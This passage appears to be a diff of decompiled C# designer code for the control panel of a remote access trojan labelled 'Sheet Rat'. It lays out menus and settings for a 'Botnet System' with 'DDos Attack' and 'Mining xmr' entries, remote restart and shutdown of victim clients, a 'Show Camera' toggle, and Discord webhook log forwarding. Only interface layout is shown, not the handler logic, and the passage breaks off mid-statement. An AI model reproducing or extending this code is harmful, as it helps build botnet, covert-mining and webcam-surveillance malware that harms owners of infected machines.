"System"; + this.logOutToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.logOutToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.logOutToolStripMenuItem.Name = "logOutToolStripMenuItem"; + this.logOutToolStripMenuItem.Size = new Size(169, 22); + this.logOutToolStripMenuItem.Text = "Log Out"; + this.logOutToolStripMenuItem.Click += new EventHandler(this.logOutToolStripMenuItem_Click); + this.restartToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.restartToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.restartToolStripMenuItem.Name = "restartToolStripMenuItem"; + this.restartToolStripMenuItem.Size = new Size(169, 22); + this.restartToolStripMenuItem.Text = "Restart"; + this.restartToolStripMenuItem.Click += new EventHandler(this.restartToolStripMenuItem_Click); + this.shutdownToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.shutdownToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.shutdownToolStripMenuItem.Name = "shutdownToolStripMenuItem"; + this.shutdownToolStripMenuItem.Size = new Size(169, 22); + this.shutdownToolStripMenuItem.Text = "Shutdown"; + this.shutdownToolStripMenuItem.Click += new EventHandler(this.shutdownToolStripMenuItem_Click); + this.clearSavePluginsToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.clearSavePluginsToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.clearSavePluginsToolStripMenuItem.Name = "clearSavePluginsToolStripMenuItem"; + this.clearSavePluginsToolStripMenuItem.Size = new Size(169, 22); + this.clearSavePluginsToolStripMenuItem.Text = "Clear save plugins"; + this.clearSavePluginsToolStripMenuItem.Click += new EventHandler(this.clearSavePluginsToolStripMenuItem_Click); + this.getPathClientToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.getPathClientToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.getPathClientToolStripMenuItem.Name = "getPathClientToolStripMenuItem"; + this.getPathClientToolStripMenuItem.Size = new Size(169, 22); + this.getPathClientToolStripMenuItem.Text = "GetPath Client"; + this.getPathClientToolStripMenuItem.Click += new EventHandler(this.getPathClientToolStripMenuItem_Click); + this.botnetSystemToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.botnetSystemToolStripMenuItem.DropDownItems.AddRange(new ToolStripItem[3] + { + (ToolStripItem) this.dDosAttackToolStripMenuItem, + (ToolStripItem) this.miningEtcToolStripMenuItem, + (ToolStripItem) this.toolStripMenuItem5 + }); + this.botnetSystemToolStripMenuItem.ForeColor = Color.Maroon; + this.botnetSystemToolStripMenuItem.Name = "botnetSystemToolStripMenuItem"; + this.botnetSystemToolStripMenuItem.Size = new Size(125, 22); + this.botnetSystemToolStripMenuItem.Text = "Botnet System"; + this.dDosAttackToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.dDosAttackToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0); + this.dDosAttackToolStripMenuItem.Name = "dDosAttackToolStripMenuItem"; + this.dDosAttackToolStripMenuItem.Size = new Size(139, 22); + this.dDosAttackToolStripMenuItem.Text = "DDos Attack"; + this.dDosAttackToolStripMenuItem.Click += new EventHandler(this.dDosAttackToolStripMenuItem_Click); + this.miningEtcToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.miningEtcToolStripMenuItem.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0); + this.miningEtcToolStripMenuItem.Name = "miningEtcToolStripMenuItem"; + this.miningEtcToolStripMenuItem.Size = new Size(139, 22); + this.miningEtcToolStripMenuItem.Text = "Mining etc"; + this.miningEtcToolStripMenuItem.Click += new EventHandler(this.miningEtcToolStripMenuItem_Click); + this.toolStripMenuItem5.BackColor = Color.FromArgb(17, 17, 17); + this.toolStripMenuItem5.ForeColor = Color.FromArgb(192 /*0xC0*/, 0, 0); + this.toolStripMenuItem5.Name = "toolStripMenuItem5"; + this.toolStripMenuItem5.Size = new Size(139, 22); + this.toolStripMenuItem5.Text = "Mining xmr"; + this.toolStripMenuItem5.Click += new EventHandler(this.toolStripMenuItem5_Click); + this.pictureBox6.Dock = DockStyle.Fill; + this.pictureBox6.Image = (Image) Resources.BackGroundImageDarl; + this.pictureBox6.Location = new Point(0, 0); + this.pictureBox6.Name = "pictureBox6"; + this.pictureBox6.Size = new Size(1395, 476); + this.pictureBox6.SizeMode = PictureBoxSizeMode.StretchImage; + this.pictureBox6.TabIndex = 5; + this.pictureBox6.TabStop = false; + this.metroTabPage2.Controls.Add((Control) this.GridLogs); + this.metroTabPage2.HorizontalScrollbarBarColor = true; + this.metroTabPage2.HorizontalScrollbarHighlightOnWheel = false; + this.metroTabPage2.HorizontalScrollbarSize = 0; + this.metroTabPage2.Location = new Point(4, 38); + this.metroTabPage2.Name = "metroTabPage2"; + this.metroTabPage2.Size = new Size(1395, 476); + this.metroTabPage2.TabIndex = 1; + this.metroTabPage2.Text = "Logs"; + this.metroTabPage2.Theme = MetroThemeStyle.Dark; + this.metroTabPage2.VerticalScrollbarBarColor = true; + this.metroTabPage2.VerticalScrollbarHighlightOnWheel = false; + this.metroTabPage2.VerticalScrollbarSize = 0; + this.GridLogs.AllowUserToAddRows = false; + this.GridLogs.AllowUserToDeleteRows = false; + this.GridLogs.AllowUserToResizeColumns = false; + this.GridLogs.AllowUserToResizeRows = false; + this.GridLogs.BackgroundColor = Color.FromArgb(17, 17, 17); + this.GridLogs.BorderStyle = System.Windows.Forms.BorderStyle.None; + this.GridLogs.CellBorderStyle = DataGridViewCellBorderStyle.None; + this.GridLogs.ColumnHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle4.Alignment = DataGridViewContentAlignment.TopLeft; + gridViewCellStyle4.BackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle4.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle4.ForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle4.SelectionBackColor = Color.FromArgb(142, 188, 0); + gridViewCellStyle4.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle4.WrapMode = DataGridViewTriState.True; + this.GridLogs.ColumnHeadersDefaultCellStyle = gridViewCellStyle4; + this.GridLogs.ColumnHeadersHeightSizeMode = DataGridViewColumnHeadersHeightSizeMode.AutoSize; + this.GridLogs.ContextMenuStrip = this.contextMenuForLogs; + this.GridLogs.Cursor = Cursors.Default; + gridViewCellStyle5.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle5.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle5.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle5.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle5.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle5.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle5.WrapMode = DataGridViewTriState.False; + this.GridLogs.DefaultCellStyle = gridViewCellStyle5; + this.GridLogs.Dock = DockStyle.Fill; + this.GridLogs.EnableHeadersVisualStyles = false; + this.GridLogs.GridColor = Color.FromArgb(17, 17, 17); + this.GridLogs.Location = new Point(0, 0); + this.GridLogs.Name = "GridLogs"; + this.GridLogs.ReadOnly = true; + this.GridLogs.RowHeadersBorderStyle = DataGridViewHeaderBorderStyle.None; + gridViewCellStyle6.Alignment = DataGridViewContentAlignment.MiddleLeft; + gridViewCellStyle6.BackColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle6.Font = new Font("Microsoft Sans Serif", 8.25f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + gridViewCellStyle6.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle6.Padding = new Padding(1, 0, 0, 0); + gridViewCellStyle6.SelectionBackColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + gridViewCellStyle6.SelectionForeColor = Color.FromArgb(17, 17, 17); + gridViewCellStyle6.WrapMode = DataGridViewTriState.True; + this.GridLogs.RowHeadersDefaultCellStyle = gridViewCellStyle6; + this.GridLogs.RowHeadersVisible = false; + this.GridLogs.SelectionMode = DataGridViewSelectionMode.FullRowSelect; + this.GridLogs.ShowCellErrors = false; + this.GridLogs.ShowCellToolTips = false; + this.GridLogs.ShowEditingIcon = false; + this.GridLogs.ShowRowErrors = false; + this.GridLogs.Size = new Size(1395, 476); + this.GridLogs.TabIndex = 5; + this.contextMenuForLogs.Items.AddRange(new ToolStripItem[1] + { + (ToolStripItem) this.clearToolStripMenuItem + }); + this.contextMenuForLogs.Name = "contextMenuStrip1"; + this.contextMenuForLogs.ShowImageMargin = false; + this.contextMenuForLogs.Size = new Size(77, 26); + this.clearToolStripMenuItem.BackColor = Color.FromArgb(17, 17, 17); + this.clearToolStripMenuItem.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.clearToolStripMenuItem.Name = "clearToolStripMenuItem"; + this.clearToolStripMenuItem.Size = new Size(76, 22); + this.clearToolStripMenuItem.Text = "Clear"; + this.clearToolStripMenuItem.Click += new EventHandler(this.clearToolStripMenuItem_Click); + this.metroTabPage3.Controls.Add((Control) this.metroLabel46); + this.metroTabPage3.Controls.Add((Control) this.DiscordHookName); + this.metroTabPage3.Controls.Add((Control) this.metroLabel45); + this.metroTabPage3.Controls.Add((Control) this.DiscordSendLogs); + this.metroTabPage3.Controls.Add((Control) this.metroLabel34); + this.metroTabPage3.Controls.Add((Control) this.DiscordNotifyClient); + this.metroTabPage3.Controls.Add((Control) this.metroLabel36); + this.metroTabPage3.Controls.Add((Control) this.DiscordNotifyNewClient); + this.metroTabPage3.Controls.Add((Control) this.metroLabel35); + this.metroTabPage3.Controls.Add((Control) this.DiscordUrl); + this.metroTabPage3.Controls.Add((Control) this.metroLabel33); + this.metroTabPage3.Controls.Add((Control) this.DiscordWebHook); + this.metroTabPage3.Controls.Add((Control) this.metroLabel32); + this.metroTabPage3.Controls.Add((Control) this.toogleNotyfiClient); + this.metroTabPage3.Controls.Add((Control) this.metroLabel31); + this.metroTabPage3.Controls.Add((Control) this.toogleNotyfiNewClient); + this.metroTabPage3.Controls.Add((Control) this.metroLabel30); + this.metroTabPage3.Controls.Add((Control) this.metroToggle23); + this.metroTabPage3.Controls.Add((Control) this.AutoStartPortCheck); + this.metroTabPage3.Controls.Add((Control) this.metroLabel25); + this.metroTabPage3.Controls.Add((Control) this.metroLabel21); + this.metroTabPage3.Controls.Add((Control) this.metroToggle20); + this.metroTabPage3.Controls.Add((Control) this.metroLabel22); + this.metroTabPage3.Controls.Add((Control) this.metroToggle21); + this.metroTabPage3.Controls.Add((Control) this.metroLabel23); + this.metroTabPage3.Controls.Add((Control) this.metroToggle22); + this.metroTabPage3.Controls.Add((Control) this.metroLabel18); + this.metroTabPage3.Controls.Add((Control) this.metroToggle17); + this.metroTabPage3.Controls.Add((Control) this.metroLabel19); + this.metroTabPage3.Controls.Add((Control) this.metroToggle18); + this.metroTabPage3.Controls.Add((Control) this.metroLabel20); + this.metroTabPage3.Controls.Add((Control) this.metroToggle19); + this.metroTabPage3.Controls.Add((Control) this.metroLabel14); + this.metroTabPage3.Controls.Add((Control) this.metroToggle13); + this.metroTabPage3.Controls.Add((Control) this.metroLabel15); + this.metroTabPage3.Controls.Add((Control) this.metroToggle14); + this.metroTabPage3.Controls.Add((Control) this.metroLabel16); + this.metroTabPage3.Controls.Add((Control) this.metroToggle15); + this.metroTabPage3.Controls.Add((Control) this.metroLabel17); + this.metroTabPage3.Controls.Add((Control) this.metroToggle16); + this.metroTabPage3.Controls.Add((Control) this.metroLabel10); + this.metroTabPage3.Controls.Add((Control) this.metroToggle9); + this.metroTabPage3.Controls.Add((Control) this.metroLabel11); + this.metroTabPage3.Controls.Add((Control) this.metroToggle10); + this.metroTabPage3.Controls.Add((Control) this.metroLabel12); + this.metroTabPage3.Controls.Add((Control) this.metroToggle11); + this.metroTabPage3.Controls.Add((Control) this.metroLabel13); + this.metroTabPage3.Controls.Add((Control) this.metroToggle12); + this.metroTabPage3.Controls.Add((Control) this.metroLabel6); + this.metroTabPage3.Controls.Add((Control) this.metroToggle5); + this.metroTabPage3.Controls.Add((Control) this.metroLabel7); + this.metroTabPage3.Controls.Add((Control) this.metroToggle6); + this.metroTabPage3.Controls.Add((Control) this.metroLabel8); + this.metroTabPage3.Controls.Add((Control) this.metroToggle7); + this.metroTabPage3.Controls.Add((Control) this.metroLabel9); + this.metroTabPage3.Controls.Add((Control) this.metroToggle8); + this.metroTabPage3.Controls.Add((Control) this.metroLabel5); + this.metroTabPage3.Controls.Add((Control) this.metroToggle4); + this.metroTabPage3.Controls.Add((Control) this.metroLabel4); + this.metroTabPage3.Controls.Add((Control) this.metroToggle3); + this.metroTabPage3.Controls.Add((Control) this.metroLabel3); + this.metroTabPage3.Controls.Add((Control) this.metroToggle2); + this.metroTabPage3.Controls.Add((Control) this.metroLabel2); + this.metroTabPage3.Controls.Add((Control) this.metroToggle1); + this.metroTabPage3.Controls.Add((Control) this.metroLabel1); + this.metroTabPage3.Controls.Add((Control) this.metroButton1); + this.metroTabPage3.Controls.Add((Control) this.metroTextBox1); + this.metroTabPage3.HorizontalScrollbarBarColor = true; + this.metroTabPage3.HorizontalScrollbarHighlightOnWheel = false; + this.metroTabPage3.HorizontalScrollbarSize = 10; + this.metroTabPage3.Location = new Point(4, 38); + this.metroTabPage3.Name = "metroTabPage3"; + this.metroTabPage3.Size = new Size(1395, 476); + this.metroTabPage3.TabIndex = 2; + this.metroTabPage3.Text = "Settings"; + this.metroTabPage3.Theme = MetroThemeStyle.Dark; + this.metroTabPage3.VerticalScrollbarBarColor = true; + this.metroTabPage3.VerticalScrollbarHighlightOnWheel = false; + this.metroTabPage3.VerticalScrollbarSize = 10; + this.metroLabel46.AutoSize = true; + this.metroLabel46.Location = new Point(874, 109); + this.metroLabel46.Name = "metroLabel46"; + this.metroLabel46.Size = new Size(112 /*0x70*/, 19); + this.metroLabel46.Style = MetroColorStyle.Lime; + this.metroLabel46.TabIndex = 74; + this.metroLabel46.Text = "<- Discord Name"; + this.metroLabel46.Theme = MetroThemeStyle.Dark; + this.metroLabel46.UseStyleColors = true; + this.DiscordHookName.CustomButton.Image = (Image) null; + this.DiscordHookName.CustomButton.Location = new Point(131, 1); + this.DiscordHookName.CustomButton.Name = ""; + this.DiscordHookName.CustomButton.Size = new Size(21, 21); + this.DiscordHookName.CustomButton.Style = MetroColorStyle.Blue; + this.DiscordHookName.CustomButton.TabIndex = 1; + this.DiscordHookName.CustomButton.Theme = MetroThemeStyle.Light; + this.DiscordHookName.CustomButton.UseSelectable = true; + this.DiscordHookName.CustomButton.Visible = false; + this.DiscordHookName.Lines = new string[1] + { + "Sheet Rat" + }; + this.DiscordHookName.Location = new Point(715, 105); + this.DiscordHookName.MaxLength = (int) short.MaxValue; + this.DiscordHookName.Name = "DiscordHookName"; + this.DiscordHookName.PasswordChar = char.MinValue; + this.DiscordHookName.ScrollBars = ScrollBars.None; + this.DiscordHookName.SelectedText = ""; + this.DiscordHookName.SelectionLength = 0; + this.DiscordHookName.SelectionStart = 0; + this.DiscordHookName.ShortcutsEnabled = true; + this.DiscordHookName.Size = new Size(153, 23); + this.DiscordHookName.Style = MetroColorStyle.Lime; + this.DiscordHookName.TabIndex = 73; + this.DiscordHookName.Text = "Sheet Rat"; + this.DiscordHookName.Theme = MetroThemeStyle.Dark; + this.DiscordHookName.UseSelectable = true; + this.DiscordHookName.UseStyleColors = true; + this.DiscordHookName.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.DiscordHookName.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel45.AutoSize = true; + this.metroLabel45.Location = new Point(576, 220); + this.metroLabel45.Name = "metroLabel45"; + this.metroLabel45.Size = new Size(88, 19); + this.metroLabel45.Style = MetroColorStyle.Lime; + this.metroLabel45.TabIndex = 72; + this.metroLabel45.Text = "<- Send Logs"; + this.metroLabel45.Theme = MetroThemeStyle.Dark; + this.metroLabel45.UseStyleColors = true; + this.DiscordSendLogs.AutoSize = true; + this.DiscordSendLogs.Checked = true; + this.DiscordSendLogs.CheckState = CheckState.Checked; + this.DiscordSendLogs.Location = new Point(490, 222); + this.DiscordSendLogs.Name = "DiscordSendLogs"; + this.DiscordSendLogs.Size = new Size(80 /*0x50*/, 17); + this.DiscordSendLogs.Style = MetroColorStyle.Lime; + this.DiscordSendLogs.TabIndex = 71; + this.DiscordSendLogs.Text = "On"; + this.DiscordSendLogs.Theme = MetroThemeStyle.Dark; + this.DiscordSendLogs.UseSelectable = true; + this.DiscordSendLogs.UseStyleColors = true; + this.metroLabel34.AutoSize = true; + this.metroLabel34.Location = new Point(576, 176 /*0xB0*/); + this.metroLabel34.Name = "metroLabel34"; + this.metroLabel34.Size = new Size(100, 19); + this.metroLabel34.Style = MetroColorStyle.Lime; + this.metroLabel34.TabIndex = 70; + this.metroLabel34.Text = "<- Notify Client"; + this.metroLabel34.Theme = MetroThemeStyle.Dark; + this.metroLabel34.UseStyleColors = true; + this.DiscordNotifyClient.AutoSize = true; + this.DiscordNotifyClient.Location = new Point(490, 176 /*0xB0*/); + this.DiscordNotifyClient.Name = "DiscordNotifyClient"; + this.DiscordNotifyClient.Size = new Size(80 /*0x50*/, 17); + this.DiscordNotifyClient.Style = MetroColorStyle.Lime; + this.DiscordNotifyClient.TabIndex = 69; + this.DiscordNotifyClient.Text = "Off"; + this.DiscordNotifyClient.Theme = MetroThemeStyle.Dark; + this.DiscordNotifyClient.UseSelectable = true; + this.DiscordNotifyClient.UseStyleColors = true; + this.metroLabel36.AutoSize = true; + this.metroLabel36.Location = new Point(576, 199); + this.metroLabel36.Name = "metroLabel36"; + this.metroLabel36.Size = new Size((int) sbyte.MaxValue, 19); + this.metroLabel36.Style = MetroColorStyle.Lime; + this.metroLabel36.TabIndex = 68; + this.metroLabel36.Text = "<- Notify new Client"; + this.metroLabel36.Theme = MetroThemeStyle.Dark; + this.metroLabel36.UseStyleColors = true; + this.DiscordNotifyNewClient.AutoSize = true; + this.DiscordNotifyNewClient.Checked = true; + this.DiscordNotifyNewClient.CheckState = CheckState.Checked; + this.DiscordNotifyNewClient.Location = new Point(490, 199); + this.DiscordNotifyNewClient.Name = "DiscordNotifyNewClient"; + this.DiscordNotifyNewClient.Size = new Size(80 /*0x50*/, 17); + this.DiscordNotifyNewClient.Style = MetroColorStyle.Lime; + this.DiscordNotifyNewClient.TabIndex = 67; + this.DiscordNotifyNewClient.Text = "On"; + this.DiscordNotifyNewClient.Theme = MetroThemeStyle.Dark; + this.DiscordNotifyNewClient.UseSelectable = true; + this.DiscordNotifyNewClient.UseStyleColors = true; + this.metroLabel35.AutoSize = true; + this.metroLabel35.Location = new Point(821, 144 /*0x90*/); + this.metroLabel35.Name = "metroLabel35"; + this.metroLabel35.Size = new Size(124, 19); + this.metroLabel35.Style = MetroColorStyle.Lime; + this.metroLabel35.TabIndex = 66; + this.metroLabel35.Text = "<- Discord url hook"; + this.metroLabel35.Theme = MetroThemeStyle.Dark; + this.metroLabel35.UseStyleColors = true; + this.DiscordUrl.CustomButton.Image = (Image) null; + this.DiscordUrl.CustomButton.Location = new Point(303, 1); + this.DiscordUrl.CustomButton.Name = ""; + this.DiscordUrl.CustomButton.Size = new Size(21, 21); + this.DiscordUrl.CustomButton.Style = MetroColorStyle.Blue; + this.DiscordUrl.CustomButton.TabIndex = 1; + this.DiscordUrl.CustomButton.Theme = MetroThemeStyle.Light; + this.DiscordUrl.CustomButton.UseSelectable = true; + this.DiscordUrl.CustomButton.Visible = false; + this.DiscordUrl.Lines = new string[0]; + this.DiscordUrl.Location = new Point(490, 144 /*0x90*/); + this.DiscordUrl.MaxLength = (int) short.MaxValue; + this.DiscordUrl.Name = "DiscordUrl"; + this.DiscordUrl.PasswordChar = char.MinValue; + this.DiscordUrl.ScrollBars = ScrollBars.None; + this.DiscordUrl.SelectedText = ""; + this.DiscordUrl.SelectionLength = 0; + this.DiscordUrl.SelectionStart = 0; + this.DiscordUrl.ShortcutsEnabled = true; + this.DiscordUrl.Size = new Size(325, 23); + this.DiscordUrl.Style = MetroColorStyle.Lime; + this.DiscordUrl.TabIndex = 63 /*0x3F*/; + this.DiscordUrl.Theme = MetroThemeStyle.Dark; + this.DiscordUrl.UseSelectable = true; + this.DiscordUrl.UseStyleColors = true; + this.DiscordUrl.WaterMarkColor = Color.FromArgb(109, 109, 109); + this.DiscordUrl.WaterMarkFont = new Font("Segoe UI", 12f, FontStyle.Italic, GraphicsUnit.Pixel); + this.metroLabel33.AutoSize = true; + this.metroLabel33.Location = new Point(576, 104); + this.metroLabel33.Name = "metroLabel33"; + this.metroLabel33.Size = new Size(133, 19); + this.metroLabel33.Style = MetroColorStyle.Lime; + this.metroLabel33.TabIndex = 62; + this.metroLabel33.Text = "<- Discord web hook"; + this.metroLabel33.Theme = MetroThemeStyle.Dark; + this.metroLabel33.UseStyleColors = true; + this.DiscordWebHook.AutoSize = true; + this.DiscordWebHook.Location = new Point(490, 104); + this.DiscordWebHook.Name = "DiscordWebHook"; + this.DiscordWebHook.Size = new Size(80 /*0x50*/, 17); + this.DiscordWebHook.Style = MetroColorStyle.Lime; + this.DiscordWebHook.TabIndex = 61; + this.DiscordWebHook.Text = "Off"; + this.DiscordWebHook.Theme = MetroThemeStyle.Dark; + this.DiscordWebHook.UseSelectable = true; + this.DiscordWebHook.UseStyleColors = true; + this.DiscordWebHook.CheckedChanged += new EventHandler(this.DiscordWebHook_CheckedChanged); + this.metroLabel32.AutoSize = true; + this.metroLabel32.Location = new Point(295, 16 /*0x10*/); + this.metroLabel32.Name = "metroLabel32"; + this.metroLabel32.Size = new Size(100, 19); + this.metroLabel32.Style = MetroColorStyle.Lime; + this.metroLabel32.TabIndex = 58; + this.metroLabel32.Text = "<- Notify Client"; + this.metroLabel32.Theme = MetroThemeStyle.Dark; + this.metroLabel32.UseStyleColors = true; + this.toogleNotyfiClient.AutoSize = true; + this.toogleNotyfiClient.Checked = true; + this.toogleNotyfiClient.CheckState = CheckState.Checked; + this.toogleNotyfiClient.Location = new Point(209, 16 /*0x10*/); + this.toogleNotyfiClient.Name = "toogleNotyfiClient"; + this.toogleNotyfiClient.Size = new Size(80 /*0x50*/, 17); + this.toogleNotyfiClient.Style = MetroColorStyle.Lime; + this.toogleNotyfiClient.TabIndex = 57; + this.toogleNotyfiClient.Text = "On"; + this.toogleNotyfiClient.Theme = MetroThemeStyle.Dark; + this.toogleNotyfiClient.UseSelectable = true; + this.toogleNotyfiClient.UseStyleColors = true; + this.toogleNotyfiClient.CheckedChanged += new EventHandler(this.toogleNotyfiClient_CheckedChanged); + this.metroLabel31.AutoSize = true; + this.metroLabel31.Location = new Point(295, 45); + this.metroLabel31.Name = "metroLabel31"; + this.metroLabel31.Size = new Size((int) sbyte.MaxValue, 19); + this.metroLabel31.Style = MetroColorStyle.Lime; + this.metroLabel31.TabIndex = 56; + this.metroLabel31.Text = "<- Notify new Client"; + this.metroLabel31.Theme = MetroThemeStyle.Dark; + this.metroLabel31.UseStyleColors = true; + this.toogleNotyfiNewClient.AutoSize = true; + this.toogleNotyfiNewClient.Checked = true; + this.toogleNotyfiNewClient.CheckState = CheckState.Checked; + this.toogleNotyfiNewClient.Location = new Point(209, 45); + this.toogleNotyfiNewClient.Name = "toogleNotyfiNewClient"; + this.toogleNotyfiNewClient.Size = new Size(80 /*0x50*/, 17); + this.toogleNotyfiNewClient.Style = MetroColorStyle.Lime; + this.toogleNotyfiNewClient.TabIndex = 55; + this.toogleNotyfiNewClient.Text = "On"; + this.toogleNotyfiNewClient.Theme = MetroThemeStyle.Dark; + this.toogleNotyfiNewClient.UseSelectable = true; + this.toogleNotyfiNewClient.UseStyleColors = true; + this.toogleNotyfiNewClient.CheckedChanged += new EventHandler(this.toogleNotyfiNewClient_CheckedChanged); + this.metroLabel30.AutoSize = true; + this.metroLabel30.Location = new Point(89, 314); + this.metroLabel30.Name = "metroLabel30"; + this.metroLabel30.Size = new Size(110, 19); + this.metroLabel30.Style = MetroColorStyle.Lime; + this.metroLabel30.TabIndex = 54; + this.metroLabel30.Text = "<- Show Camera"; + this.metroLabel30.Theme = MetroThemeStyle.Dark; + this.metroLabel30.UseStyleColors = true; + this.metroToggle23.AutoSize = true; + this.metroToggle23.Checked = true; + this.metroToggle23.CheckState = CheckState.Checked; + this.metroToggle23.Location = new Point(3, 314); + this.metroToggle23.Name = "metroToggle23"; + this.metroToggle23.Size = new Size(80 /*0x50*/, 17); + this.metroToggle23.Style = MetroColorStyle.Lime; + this.metroToggle23.TabIndex = 53; + this.metroToggle23.Text = "On"; + this.metroToggle23.Theme = MetroThemeStyle.Dark; + this.metroToggle23.UseSelectable = true; + this.metroToggle23.UseStyleColors = true; + this.metroToggle23.CheckedChanged += new EventHandler(this.metroToggle23_CheckedChanged); + this.AutoStartPortCheck.AutoSize = true; + this.AutoStartPortCheck.Location = new Point(98, 45); + this.AutoStartPortCheck.Name = "AutoStartPortCheck"; + this.AutoStartPortCheck.Size = new Size(76, 15); + this.AutoStartPortCheck.Style = MetroColorStyle.Lime; + this.AutoStartPortCheck.TabIndex = 52; + this.AutoStartPortCheck.Text = "Auto Start"; + this.AutoStartPortCheck.Theme = MetroThemeStyle.Dark; + this.AutoStartPortCheck.UseSelectable = true; + this.AutoStartPortCheck.UseStyleColors = true; + this.AutoStartPortCheck.CheckedChanged += new EventHandler(this.AutoStartPortCheck_CheckedChanged); + this.metroLabel25.AutoSize = true; + this.metroLabel25.Location = new Point(36, 82); + this.metroLabel25.Name = "metroLabel25"; + this.metroLabel25.Size = new Size(318, 19); + this.metroLabel25.Style = MetroColorStyle.Lime; + this.metroLabel25.TabIndex = 51; + this.metroLabel25.Text = "-------------------Column Users-------------------"; + this.metroLabel25.Theme = MetroThemeStyle.Dark; + this.metroLabel25.UseStyleColors = true; + this.metroLabel21.AutoSize = true; + this.metroLabel21.Location = new Point(295, 173); + this.metroLabel21.Name = "metroLabel21"; + this.metroLabel21.Size = new Size(112 /*0x70*/, 19); + this.metroLabel21.Style = MetroColorStyle.Lime; + this.metroLabel21.TabIndex = 50; + this.metroLabel21.Text = "<- Show Use Cpu"; + this.metroLabel21.Theme = MetroThemeStyle.Dark; + this.metroLabel21.UseStyleColors = true; + this.metroToggle20.AutoSize = true; + this.metroToggle20.Checked = true; + this.metroToggle20.CheckState = CheckState.Checked; + this.metroToggle20.Location = new Point(209, 173); + this.metroToggle20.Name = "metroToggle20"; + this.metroToggle20.Size = new Size(80 /*0x50*/, 17); + this.metroToggle20.Style = MetroColorStyle.Lime; + this.metroToggle20.TabIndex = 49; + this.metroToggle20.Text = "On"; + this.metroToggle20.Theme = MetroThemeStyle.Dark; + this.metroToggle20.UseSelectable = true; + this.metroToggle20.UseStyleColors = true; + this.metroToggle20.CheckedChanged += new EventHandler(this.metroToggle20_CheckedChanged); + this.metroLabel22.AutoSize = true; + this.metroLabel22.Location = new Point(295, 150); + this.metroLabel22.Name = "metroLabel22"; + this.metroLabel22.Size = new Size(115, 19); + this.metroLabel22.Style = MetroColorStyle.Lime; + this.metroLabel22.TabIndex = 48 /*0x30*/; + this.metroLabel22.Text = "<- Show Use Ram"; + this.metroLabel22.Theme = MetroThemeStyle.Dark; + this.metroLabel22.UseStyleColors = true; + this.metroToggle21.AutoSize = true; + this.metroToggle21.Checked = true; + this.metroToggle21.CheckState = CheckState.Checked; + this.metroToggle21.Location = new Point(209, 150); + this.metroToggle21.Name = "metroToggle21"; + this.metroToggle21.Size = new Size(80 /*0x50*/, 17); + this.metroToggle21.Style = MetroColorStyle.Lime; + this.metroToggle21.TabIndex = 47; + this.metroToggle21.Text = "On"; + this.metroToggle21.Theme = MetroThemeStyle.Dark; + this.metroToggle21.UseSelectable = true; + this.metroToggle21.UseStyleColors = true; + this.metroToggle21.CheckedChanged += new EventHandler(this.metroToggle21_CheckedChanged); + this.metroLabel23.AutoSize = true; + this.metroLabel23.Location = new Point(295, (int) sbyte.MaxValue); + this.metroLabel23.Name = "metroLabel23"; + this.metroLabel23.Size = new Size(142, 19); + this.metroLabel23.Style = MetroColorStyle.Lime; + this.metroLabel23.TabIndex = 46; + this.metroLabel23.Text = "<- Show Gpu Memory"; + this.metroLabel23.Theme = MetroThemeStyle.Dark; + this.metroLabel23.UseStyleColors = true; + this.metroToggle22.AutoSize = true; + this.metroToggle22.Checked = true; + this.metroToggle22.CheckState = CheckState.Checked; + this.metroToggle22.Location = new Point(209, (int) sbyte.MaxValue); + this.metroToggle22.Name = "metroToggle22"; + this.metroToggle22.Size = new Size(80 /*0x50*/, 17); + this.metroToggle22.Style = MetroColorStyle.Lime; + this.metroToggle22.TabIndex = 45; + this.metroToggle22.Text = "On"; + this.metroToggle22.Theme = MetroThemeStyle.Dark; + this.metroToggle22.UseSelectable = true; + this.metroToggle22.UseStyleColors = true; + this.metroToggle22.CheckedChanged += new EventHandler(this.metroToggle22_CheckedChanged); + this.metroLabel18.AutoSize = true; + this.metroLabel18.Location = new Point(295, 104); + this.metroLabel18.Name = "metroLabel18"; + this.metroLabel18.Size = new Size(90, 19); + this.metroLabel18.Style = MetroColorStyle.Lime; + this.metroLabel18.TabIndex = 42; + this.metroLabel18.Text = "<- Show Ram"; + this.metroLabel18.Theme = MetroThemeStyle.Dark; + this.metroLabel18.UseStyleColors = true; + this.metroToggle17.AutoSize = true; 